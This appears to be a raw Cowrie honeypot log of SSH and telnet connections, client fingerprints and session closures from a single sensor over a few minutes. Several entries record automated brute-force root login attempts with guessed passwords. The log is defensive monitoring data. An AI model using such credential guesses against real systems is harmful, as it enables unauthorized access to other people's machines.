{"eventid":"cowrie.session.closed","duration":31.32405996322632,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:04.143040Z","src_ip":"69.4.83.194","session":"2d04d58cf7c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.88898825645447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:23.788453Z","src_ip":"69.4.83.194","session":"c6ff48c0d2a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35730,"dst_ip":"10.17.0.5","dst_port":22,"session":"e539b30af2ab","protocol":"ssh","message":"New connection: 194.113.233.25:35730 (10.17.0.5:22) [session: e539b30af2ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:27.229490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:27.235718Z","src_ip":"194.113.233.25","session":"e539b30af2ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:27.327945Z","src_ip":"194.113.233.25","session":"e539b30af2ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bianca","message":"login attempt [root/bianca] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:27.614357Z","src_ip":"194.113.233.25","session":"e539b30af2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.33166646957397,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:28.173088Z","src_ip":"178.128.93.180","session":"b3a0f1a29bf5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:28.709229Z","src_ip":"194.113.233.25","session":"e539b30af2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.57788968086243,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:38.529648Z","src_ip":"79.139.59.21","session":"60723e180827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"3.91.148.177","src_port":63690,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5960e5200dd","protocol":"ssh","message":"New connection: 3.91.148.177:63690 (159.203.135.109:22) [session: b5960e5200dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:40.241331Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:42.000293Z","src_ip":"3.91.148.177","session":"b5960e5200dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 9052c4ab4164c78256e71143dcfc7eac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:42.004903Z","src_ip":"3.91.148.177","session":"b5960e5200dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:44.659632Z","src_ip":"3.91.148.177","session":"b5960e5200dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":50956,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3e769d92873","protocol":"telnet","message":"New connection: 69.4.83.194:50956 (159.203.135.109:23) [session: a3e769d92873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:50.854214Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51848,"dst_ip":"159.203.135.109","dst_port":23,"session":"14de660a8295","protocol":"telnet","message":"New connection: 69.4.83.194:51848 (159.203.135.109:23) [session: 14de660a8295]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:00:53.096077Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":31326,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5e17c13aab3","protocol":"ssh","message":"New connection: 38.93.206.2:31326 (10.17.0.5:22) [session: a5e17c13aab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:06.949004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:06.962252Z","src_ip":"38.93.206.2","session":"a5e17c13aab3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:07.014560Z","src_ip":"38.93.206.2","session":"a5e17c13aab3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yulya","message":"login attempt [root/yulya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:07.171684Z","src_ip":"38.93.206.2","session":"a5e17c13aab3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:08.225377Z","src_ip":"38.93.206.2","session":"a5e17c13aab3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":57986,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd7fc9d6d815","protocol":"telnet","message":"New connection: 69.4.83.194:57986 (159.203.135.109:23) [session: bd7fc9d6d815]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:10.064703Z"}
{"eventid":"cowrie.session.closed","duration":32.709251403808594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:23.563351Z","src_ip":"69.4.83.194","session":"a3e769d92873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.60887098312378,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:28.704845Z","src_ip":"69.4.83.194","session":"14de660a8295","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":41728,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d446b2d7a16","protocol":"telnet","message":"New connection: 69.4.83.194:41728 (159.203.135.109:23) [session: 9d446b2d7a16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:36.576455Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4a884a307fe","protocol":"telnet","message":"New connection: 178.128.93.180:33846 (10.17.0.5:23) [session: e4a884a307fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:41.235641Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.128.93.180","src_port":34348,"dst_ip":"10.17.0.5","dst_port":23,"session":"dce3d8af1536","protocol":"telnet","message":"New connection: 178.128.93.180:34348 (10.17.0.5:23) [session: dce3d8af1536]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:42.236491Z"}
{"eventid":"cowrie.session.closed","duration":32.964948654174805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:43.029527Z","src_ip":"69.4.83.194","session":"bd7fc9d6d815","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":44652,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ce24e04e5c4","protocol":"telnet","message":"New connection: 69.4.83.194:44652 (159.203.135.109:23) [session: 4ce24e04e5c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:43.837365Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45902,"dst_ip":"159.203.135.109","dst_port":23,"session":"22da9c189ae5","protocol":"telnet","message":"New connection: 69.4.83.194:45902 (159.203.135.109:23) [session: 22da9c189ae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:01:46.921458Z"}
{"eventid":"cowrie.session.closed","duration":33.93287134170532,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:10.509236Z","src_ip":"69.4.83.194","session":"9d446b2d7a16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.428383111953735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:11.663907Z","src_ip":"178.128.93.180","session":"e4a884a307fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.410632133483887,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:13.646995Z","src_ip":"178.128.93.180","session":"dce3d8af1536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.931753158569336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:15.769037Z","src_ip":"69.4.83.194","session":"4ce24e04e5c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":46646,"dst_ip":"159.203.135.109","dst_port":22,"session":"741f83875e2f","protocol":"ssh","message":"New connection: 109.237.96.109:46646 (159.203.135.109:22) [session: 741f83875e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:16.264528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:16.269435Z","src_ip":"109.237.96.109","session":"741f83875e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:16.359461Z","src_ip":"109.237.96.109","session":"741f83875e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwerty12345!","message":"login attempt [root/qwerty12345!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:16.630072Z","src_ip":"109.237.96.109","session":"741f83875e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:17.737828Z","src_ip":"109.237.96.109","session":"741f83875e2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.72923135757446,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:22.650568Z","src_ip":"69.4.83.194","session":"22da9c189ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59170,"dst_ip":"159.203.135.109","dst_port":23,"session":"80f982310501","protocol":"telnet","message":"New connection: 69.4.83.194:59170 (159.203.135.109:23) [session: 80f982310501]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:23.087122Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":60974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b554a88f8b7","protocol":"telnet","message":"New connection: 69.4.83.194:60974 (159.203.135.109:23) [session: 4b554a88f8b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:24.538829Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":42344,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cdf459969c4","protocol":"telnet","message":"New connection: 69.4.83.194:42344 (159.203.135.109:23) [session: 2cdf459969c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:49.030195Z"}
{"eventid":"cowrie.session.closed","duration":31.425081253051758,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:02:54.512070Z","src_ip":"69.4.83.194","session":"80f982310501","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.019821643829346,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:01.558606Z","src_ip":"69.4.83.194","session":"4b554a88f8b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.943548917770386,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:23.973635Z","src_ip":"69.4.83.194","session":"2cdf459969c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":55040,"dst_ip":"159.203.135.109","dst_port":22,"session":"422c2620ac4b","protocol":"ssh","message":"New connection: 103.15.222.183:55040 (159.203.135.109:22) [session: 422c2620ac4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:31.607577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:31.613099Z","src_ip":"103.15.222.183","session":"422c2620ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":59712,"dst_ip":"159.203.135.109","dst_port":23,"session":"040b8e8771bb","protocol":"telnet","message":"New connection: 69.4.83.194:59712 (159.203.135.109:23) [session: 040b8e8771bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:31.669845Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:31.869121Z","src_ip":"103.15.222.183","session":"422c2620ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":58636,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f1c2da6ad43","protocol":"telnet","message":"New connection: 69.4.83.194:58636 (159.203.135.109:23) [session: 4f1c2da6ad43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:32.221555Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"bmw525","message":"login attempt [root/bmw525] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:32.638540Z","src_ip":"103.15.222.183","session":"422c2620ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:03:33.897578Z","src_ip":"103.15.222.183","session":"422c2620ac4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.882094383239746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:07.103535Z","src_ip":"69.4.83.194","session":"4f1c2da6ad43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.618998765945435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:07.288668Z","src_ip":"69.4.83.194","session":"040b8e8771bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":45538,"dst_ip":"159.203.135.109","dst_port":23,"session":"75fb45f0938d","protocol":"telnet","message":"New connection: 69.4.83.194:45538 (159.203.135.109:23) [session: 75fb45f0938d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:04:08.106650Z"}
